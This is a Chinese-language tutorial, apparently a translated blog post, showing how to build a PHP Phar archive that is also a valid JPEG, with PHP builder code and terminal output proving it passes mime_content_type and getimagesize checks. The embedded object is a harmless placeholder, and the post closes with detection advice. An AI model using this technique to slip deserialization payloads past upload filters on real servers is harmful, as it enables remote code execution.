攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)


Posted in Python onOctober 11, 2018

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。

在本文中,我们来看看第二点是如何做到的。

背景知识

在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用 phar:// 流包装器来实现针对服务器的代码执行攻击的研讨会( 幻灯片 )。

在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。

此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。

降至字节码级别

有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。

在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。

开始下手

听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:

<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!

注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数 __HALT_COMPILER() ; 我认为,PHP会通过它来确定出应该“跳过”多少数据。

更进一步

到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用 getimagesize 来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,别忘了,我们可以在 __HALT_COMPILER() 标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读 JPEG规范 和 PHP源代码 ,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。

那么,能否直接使用GIMP创建10x10黑色图像并嵌入其中呢?

<?php
class TestObject {}
$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
 [0] =>
 int(10)
 [1] =>
 int(10)
 [2] =>
 int(2)
 [3] =>
 string(22) "width="10" height="10""
 'bits' =>
 int(8)
 'channels' =>
 int(3)
 'mime' =>
 string(10) "image/jpeg"
}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):

攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的(推荐)

小结

正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。

Python 相关文章推荐
讲解Python的Scrapy爬虫框架使用代理进行采集的方法
Feb 18 Python
浅析Python中的getattr(),setattr(),delattr(),hasattr()
Jun 14 Python
基于Python_脚本CGI、特点、应用、开发环境(详解)
May 23 Python
python文件操作之批量修改文件后缀名的方法
Aug 10 Python
pygame游戏之旅 如何制作游戏障碍
Nov 20 Python
django主动抛出403异常的方法详解
Jan 04 Python
实例详解python函数的对象、函数嵌套、名称空间和作用域
May 31 Python
python实现合并多个list及合并多个django QuerySet的方法示例
Jun 11 Python
Ubuntu18.04中Python2.7与Python3.6环境切换
Jun 14 Python
简单了解python元组tuple相关原理
Dec 02 Python
Python cookie的保存与读取、SSL讲解
Feb 17 Python
matplotlib绘制鼠标的十字光标的实现(自定义方式,官方实例)
Jan 10 Python
python中join()方法介绍
Oct 11 #Python
Python中staticmethod和classmethod的作用与区别
Oct 11 #Python
对Python 窗体(tkinter)文本编辑器(Text)详解
Oct 11 #Python
详谈Python 窗体(tkinter)表格数据(Treeview)
Oct 11 #Python
Python GUI布局尺寸适配方法
Oct 11 #Python
10 行 Python 代码教你自动发送短信(不想回复工作邮件妙招)
Oct 11 #Python
对Python 窗体(tkinter)树状数据(Treeview)详解
Oct 11 #Python
You might like
用PHP和ACCESS写聊天室(八)
2006/10/09 PHP
php 字符串函数收集
2010/03/29 PHP
php并发对MYSQL造成压力的解决方法
2013/02/21 PHP
浅谈PHP错误类型及屏蔽方法
2017/05/27 PHP
phpstudy隐藏index.php的方法
2020/09/21 PHP
用AJAX返回HTML片段中的JavaScript脚本
2010/01/04 Javascript
使用jQuery全局事件ajaxStart为特定请求实现提示效果的代码
2010/12/30 Javascript
Jquery下:nth-child(an+b)的使用注意
2011/05/28 Javascript
js作用域及作用域链概念理解及使用
2013/04/15 Javascript
浅析用prototype定义自己的方法
2013/11/14 Javascript
javascript if条件判断方法小结
2014/05/17 Javascript
js window对象属性和方法相关资料整理
2015/11/11 Javascript
jquery分隔Url的param方法(推荐)
2016/05/25 Javascript
JS中常用的输出方式(五种)
2016/06/12 Javascript
浅谈javascript运算符——条件,逗号,赋值,()和void运算符
2016/07/15 Javascript
JS获取鼠标选中的文字
2016/08/10 Javascript
如何获取元素的最终background-color
2017/02/06 Javascript
详解vue-cli + webpack 多页面实例应用
2017/04/25 Javascript
webpack学习笔记之优化缓存、合并、懒加载
2017/08/24 Javascript
React 组件间的通信示例
2018/06/14 Javascript
vue2.0 使用element-ui里的upload组件实现图片预览效果方法
2018/09/04 Javascript
原生JS检测CSS3动画是否结束的方法详解
2019/01/27 Javascript
灵活使用console让js调试更简单的方法步骤
2019/04/23 Javascript
js中位数不足自动补位扩展padLeft、padRight实现代码
2020/04/06 Javascript
[04:41]2014DOTA2国际邀请赛 Liquid顺利突围晋级正赛
2014/07/09 DOTA
解决pandas read_csv 读取中文列标题文件报错的问题
2018/06/15 Python
opencv python 傅里叶变换的使用
2018/07/21 Python
使用Python的toolz库开始函数式编程的方法
2018/11/15 Python
Python常见读写文件操作实例总结【文本、json、csv、pdf等】
2019/04/15 Python
Python 使用指定的网卡发送HTTP请求的实例
2019/08/21 Python
解决Python import .pyd 可能遇到路径的问题
2021/03/04 Python
五分钟学会HTML5的WebSocket协议
2019/11/22 HTML / CSS
欢度春节标语
2014/07/01 职场文书
个人整改方案范文
2014/10/25 职场文书
春季运动会加油词
2015/07/18 职场文书
电脑只能进入安全模式无法正常启动的解决办法
2022/04/08 数码科技